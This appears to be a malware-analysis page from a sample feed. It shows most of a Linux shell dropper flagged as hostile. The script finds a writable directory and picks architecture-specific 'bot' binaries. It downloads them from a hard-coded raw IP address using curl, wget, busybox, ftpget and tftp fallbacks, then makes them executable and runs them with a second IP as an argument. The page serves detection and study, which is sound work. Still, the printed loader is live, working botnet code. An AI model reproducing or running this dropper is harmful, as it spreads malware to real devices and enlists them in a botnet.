Hostile 99% linux Download

jaffacakes118_dded8b50843ac6abbd80aaeec092fb59951582781eb8e5569757dc1ddcd3325c

Downloads and executes remote bot

Raw-IP fetch and variable multi-arch launchAArch64 (ARM64) architecture string
SHA-256dded8b50843ac6abbd80aaeec092fb59951582781eb8e5569757dc1ddcd3325c

Evidence

Source string contains a raw external-IP URL lines 1–24
1#!/bin/sh
2
3X="http://185.205.194.15"
4X_HOST="185.205.194.15"
5
6TMPDIR=/tmp
7for d in /tmp /var/tmp /var/run /dev/shm /mnt /root /; do
8 if ( cd "$d" 2>/dev/null && : > .wtest.$$ ) 2>/dev/null; then
9 TMPDIR="$d"
10 rm -f "$d/.wtest.$$"
11 break
12 fi
13done
14TMPDIR=${TMPDIR%/}
15[ -n "$TMPDIR" ] || TMPDIR=/tmp
16
17select_endpoints() {
18 _arch=$(uname -m 2>/dev/null | tr 'A-Z' 'a-z')
19
20 case "$_arch" in
⋯4 lines
Output path comes from shell variable lines 25–72
25:60… ips64le
26 ;;
27 *mipsel*|*mipsle*)
28 printf '%s\n' /bots_mipsle /bot_mipsle /bot_mips
29 ;;
30 *mips*)
31 printf '%s\n' /bot_mips /bot_mipsle /bots_mipsle
32 ;;
33 *aarch64*|*arm64*|*armv8*)
34 printf '%s\n' /bot_arm64 /bot_arm
35 ;;
36 *arm*)
37 printf '%s\n' /bot_arm /bot_arm64
38 ;;
39 *ppc64le*|*ppc64el*)
40 printf '%s\n' /bot_ppc64le /bot_ppc64
41 ;;
42 *ppc64*)
43 printf '%s\n' /bot_ppc64 /bot_ppc64le
44 ;;
45 *ppc*|*powerpc*)
46 printf '%s\n' /bot_ppc64 /bot_ppc64le
47 ;;
⋯12 lines
60 [ -d "$TMPDIR" ] || return 1
61
62 if command -v curl >/dev/null 2>&1; then
63 curl -fsSLk "$_url" -o "$_out" 2>/dev/null && [ -s "$_out" ] && return 0
64 curl -fsSL "$_url" -o "$_out" 2>/dev/null && [ -s "$_out" ] && return 0
65 fi
66
67 if command -v wget >/dev/null 2>&1; then
68 wget -q --no-check-certificate -O "$_out" "$_url" 2>/dev/null && [ -s "$_out" ] && return 0
69 wget -q -O "$_out" "$_url" 2>/dev/null && [ -s "$_out" ] && return 0
70 fi
71
72 if command -v lwp-download >/dev/null 2>&1; then
Standalone ftpget download command lines 73–93
73:76… eturn 0
74 fi
75
76 if command -v busybox >/dev/null 2>&1; then
77 busybox wget -q -O "$_out" "$_url" 2>/dev/null && [ -s "$_out" ] && return 0
78 fi
79
80 if command -v ftpget >/dev/null 2>&1; then
81 _remote="${_url##*/}"
82 _host="${X_HOST:-${X#*://}}"
83 _host="${_host%%/*}"
84
85 ftpget -v -u anonymous -p anonymous -P 21 \
86 "$_host" "$_out" "$_remote" >/dev/null 2>&1 \
87 && [ -s "$_out" ] && return 0
88 fi
⋯5 lines
Shell text/decoded data contains public IPv4 lines 96–134
96:18… -s "$_out" ] && return 0
97
98 ( cd "$TMPDIR" 2>/dev/null && tftp -r "$_remote" -g "$_host" ) >/dev/null 2>&1 \
99 && [ -s "${TMPDIR%/}/$_remote" ] && {
100 [ "$_remote" = "$_name" ] || mv -f "${TMPDIR%/}/$_remote" "$_out" 2>/dev/null
101 [ -s "$_out" ] && return 0
102 }
103
104 if command -v busybox >/dev/null 2>&1; then
105 busybox tftp -g -r "$_remote" -l "$_out" "$_host" >/dev/null 2>&1 \
106 && [ -s "$_out" ] && return 0
107 fi
⋯4 lines
112
113download_bot() {
114 _endpoints=$(select_endpoints) || return 1
115
116 _name="bot_$(uname -m 2>/dev/null | tr 'A-Z' 'a-z' | tr -c 'a-z0-9' '_')"
117 _path="${TMPDIR%/}/$_name"
118
119 _cleanup() { rm -f "$_path" 2>/dev/null; }
120 trap '_cleanup' EXIT HUP INT TERM
121
122 for _ep in $_endpoints; do
123 _url="${X}${_ep}"
124 if fetch_one "$_url" "$_name"; then
125 chmod +x "$_path" 2>/dev/null || return 1
126 "$_path" 154.80.128.174 7c7f5df96109fd22bb7f46a55ec1cb7ac6d16685b3658a7726a7c13e9f90b975
127 _rc=$?
128 _cleanup
⋯6 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.